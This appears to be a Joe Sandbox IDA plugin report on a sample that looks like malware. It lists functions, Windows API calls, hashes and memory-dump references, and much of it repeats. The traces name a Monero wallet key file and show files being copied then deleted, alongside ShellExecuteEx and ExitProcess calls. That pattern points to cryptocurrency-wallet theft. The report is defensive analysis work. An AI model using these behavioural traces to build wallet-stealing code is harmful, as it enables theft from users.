Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f4fadb6d3e731b5234ac414ccd7e53943f963fa8f02436acccfbf02e2a98feae
Instruction ID: 395210cb7b00f703fa3c10765d5ff77899ed5d0f77d278b1d8dcf0d60de38417
Opcode Fuzzy Hash: f4fadb6d3e731b5234ac414ccd7e53943f963fa8f02436acccfbf02e2a98feae
Instruction Fuzzy Hash: 71118CB1A44205EBD700DFD4DD59FBFBBB9EB04B00F20465AF605A7280D77858018BA2

Function 00489260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0123E0A0,?,?,?,0048140C,?,0123E0A0,00000000), ref: 0048926C
lstrcpyn.KERNEL32(006BAB88,0123E0A0,0123E0A0,?,0048140C,?,0123E0A0), ref: 00489290
lstrlen.KERNEL32(?,?,0048140C,?,0123E0A0), ref: 004892A7
wsprintfA.USER32 ref: 004892C7

Strings

%s%s, xrefs: 004892B5

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: db2ddbc0f3803dd0773b863ff21b2de78811a149bfefa31aa2d4c947beae9745
Instruction ID: ade12047d49ec16142079e79ff349ce2d526d60f3c08eab9abea82262e99e2bd
Opcode Fuzzy Hash: db2ddbc0f3803dd0773b863ff21b2de78811a149bfefa31aa2d4c947beae9745
Instruction Fuzzy Hash: 68011EB5500108FFCB04DFECC998EAE7BBAEB44350F148648F9099B300C635AE80DB95

Function 004712A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004712B4
RtlAllocateHeap.NTDLL(00000000), ref: 004712BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004712D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004712F5
RegCloseKey.ADVAPI32(?), ref: 004712FF

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: cf6d9036ce1eff8a13677519e6179d62cb43cd8a8a0bec070514430646846a0d
Instruction ID: 252718de77c326162cd5f7b0f3908403d9e1cfa78d9ebc9430491b78ac4b67ef
Opcode Fuzzy Hash: cf6d9036ce1eff8a13677519e6179d62cb43cd8a8a0bec070514430646846a0d
Instruction Fuzzy Hash: D60131F9A40208BBDB00DFE4DC49FAEB7BDEB48701F008299FA0597280DA749A418F51

Function 0048C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0048C8EC
___crtLCMapStringA.LIBCMT ref: 0048C90C
___crtLCMapStringA.LIBCMT ref: 0048C931

Strings

, xrefs: 0048C896

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: aa65c7912cf7d29ed0fdf8454787d5b3d55b6bcf72ea1716163b533f88ad41b4
Instruction ID: ebe8bf36303019e9beeee53e23645fa19f4e126c8360d2e1166d2201a75dc433
Opcode Fuzzy Hash: aa65c7912cf7d29ed0fdf8454787d5b3d55b6bcf72ea1716163b533f88ad41b4
Instruction Fuzzy Hash: FA4128B150075C5EDB21AB248DC4FFF7BE89F05308F1448EEE98A86182D2799A458F78

Function 00486630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00486663

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

ShellExecuteEx.SHELL32(0000003C), ref: 00486726
ExitProcess.KERNEL32 ref: 00486755

Strings

<, xrefs: 004866D9

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: bce197add49273dd42ffbcd4df3ab1733c5e36b25c943b11706168b06ba53206
Instruction ID: aebbd7c8278ad27288c4f635b91afe39de2c6b899d8e3c59d9e29790f3a40fa2
Opcode Fuzzy Hash: bce197add49273dd42ffbcd4df3ab1733c5e36b25c943b11706168b06ba53206
Instruction Fuzzy Hash: FA314DF1801218AADB14FB91DC91BDD7778AF04304F80559EF20566191DFB86B89CF6A

Function 004887C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00490E28,00000000,?), ref: 0048882F
RtlAllocateHeap.NTDLL(00000000), ref: 00488836
wsprintfA.USER32 ref: 00488850

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Strings

%dx%d, xrefs: 00488847

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: e2a582261eeca50a4f1f93a384fdb9d1b0a225c4f031073236184f83bbb345c8
Instruction ID: 75f4060d866df39a49b2399239ab9442a0f51fcbf014a942fed93075b3f33f1c
Opcode Fuzzy Hash: e2a582261eeca50a4f1f93a384fdb9d1b0a225c4f031073236184f83bbb345c8
Instruction Fuzzy Hash: FF216DF1A40208AFDB00DFD4DD49FAEBBB9FB48700F104219F605A7680C779A900CBA5

Function 00488D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0048951E,00000000), ref: 00488D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00488D62
wsprintfW.USER32 ref: 00488D78

Strings

%hs, xrefs: 00488D6F

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: b7b9d6b7cebd46ee4bf166386c7372f8bb800e41940652e2e4728a89a0fe2f45
Instruction ID: 34134da81248140181aeb7a4fa53f56592a3f7e3116884f2f94f182295505579
Opcode Fuzzy Hash: b7b9d6b7cebd46ee4bf166386c7372f8bb800e41940652e2e4728a89a0fe2f45
Instruction Fuzzy Hash: B6E086B4A40208BFC700DBD4DC0DE5977BCEB04701F000254FD0987640D9715E408B56

Function 0047A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 00488B60: GetSystemTime.KERNEL32(00490E1A,0123A250,004905AE,?,?,004713F9,?,0000001A,00490E1A,00000000,?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 00488B86

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0047A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0047A3FF
lstrlen.KERNEL32(00000000), ref: 0047A6BC

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

DeleteFileA.KERNEL32(00000000), ref: 0047A743

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 679296f508632343cb8462a6d2e40ba384b029e712a21f4756a4b9a74033fbb5
Instruction ID: 083da783821a49411c6cc8b97341e9c8b0f6ee616210dd508b334f5d4c27d108
Opcode Fuzzy Hash: 679296f508632343cb8462a6d2e40ba384b029e712a21f4756a4b9a74033fbb5
Instruction Fuzzy Hash: 44E1E3B28101189AEB04FBA5DC91EEE7338AF14304F50895FF51672091EF7C6A59CB7A

Function 0047D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 00488B60: GetSystemTime.KERNEL32(00490E1A,0123A250,004905AE,?,?,004713F9,?,0000001A,00490E1A,00000000,?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 00488B86

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0047D481
lstrlen.KERNEL32(00000000), ref: 0047D698
lstrlen.KERNEL32(00000000), ref: 0047D6AC
DeleteFileA.KERNEL32(00000000), ref: 0047D72B

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0fc626a0b29ec3b7c3a33f50d10a12740d06dc9ccf01ecb72ca222b264b6fe2a
Instruction ID: 35ed16b6f1647c967c7b78d2a67c36eaed80b8bbaac4cf37637a9e6b4e87d7a4
Opcode Fuzzy Hash: 0fc626a0b29ec3b7c3a33f50d10a12740d06dc9ccf01ecb72ca222b264b6fe2a
Instruction Fuzzy Hash: 6A9112718101049AEB08FBA5DC92EEE7339AF14304F50496FF51672091EFBC6A59CB7A

Function 0047D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 00488B60: GetSystemTime.KERNEL32(00490E1A,0123A250,004905AE,?,?,004713F9,?,0000001A,00490E1A,00000000,?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 00488B86

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0047D801
lstrlen.KERNEL32(00000000), ref: 0047D99F
lstrlen.KERNEL32(00000000), ref: 0047D9B3
DeleteFileA.KERNEL32(00000000), ref: 0047DA32

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c1a132b629ff6006a90d6c28cbff0cfff0cfbf764b03f1c9d6217f29e03af30e
Instruction ID: 5c343daa9ab4c61fccb479c1d603e00914ff5dd36714a2c01817ed9d6c46e39d
Opcode Fuzzy Hash: c1a132b629ff6006a90d6c28cbff0cfff0cfbf764b03f1c9d6217f29e03af30e
Instruction Fuzzy Hash: F38123B18101049AEB04FBA5DC92DEE7339AF14304F50496FF106A6091EFBC6A59CB7A

Function 0047F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 004799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004799EC
Part of subcall function 004799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00479A11
Part of subcall function 004799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00479A31
Part of subcall function 004799C0: ReadFile.KERNEL32(000000FF,?,00000000,0047148F,00000000), ref: 00479A5A
Part of subcall function 004799C0: LocalFree.KERNEL32(0047148F), ref: 00479A90
Part of subcall function 004799C0: CloseHandle.KERNEL32(000000FF), ref: 00479A9A

Part of subcall function 00488E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00488E52

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00491580,00490D92), ref: 0047F54C
lstrlen.KERNEL32(00000000), ref: 0047F56B

Strings

